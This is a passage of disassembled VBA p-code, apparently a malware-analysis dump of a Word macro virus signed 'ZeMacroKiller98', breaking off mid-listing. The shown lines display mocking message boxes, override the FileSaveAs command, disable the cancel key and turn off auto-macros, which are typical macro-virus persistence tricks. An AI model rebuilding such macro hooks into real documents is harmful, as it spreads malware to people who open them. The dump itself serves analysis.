' 	LitStr 0x000F "ZeMacroKiller98"
' 	ArgsCall MsgBox 0x0003 
' Line #122:
' 	EndIfBlock 
' Line #123:
' 	Ld Choix 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	Ld Choix 
' 	LitDI2 0x0003 
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld Choix 
' 	LitDI2 0x0005 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #124:
' 	LitStr 0x002C "ZeMacroKiller98 et WordArtV vous remercie..."
' 	Ld vbInformation 
' 	LitStr 0x000B "HAHAHAHAHA!"
' 	ArgsCall MsgBox 0x0003 
' Line #125:
' 	EndIfBlock 
' Line #126:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #127:
' 	EndSub 
' Line #128:
' 	FuncDefn (Sub FileSaveAs())
' Line #129:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #130:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #131:
…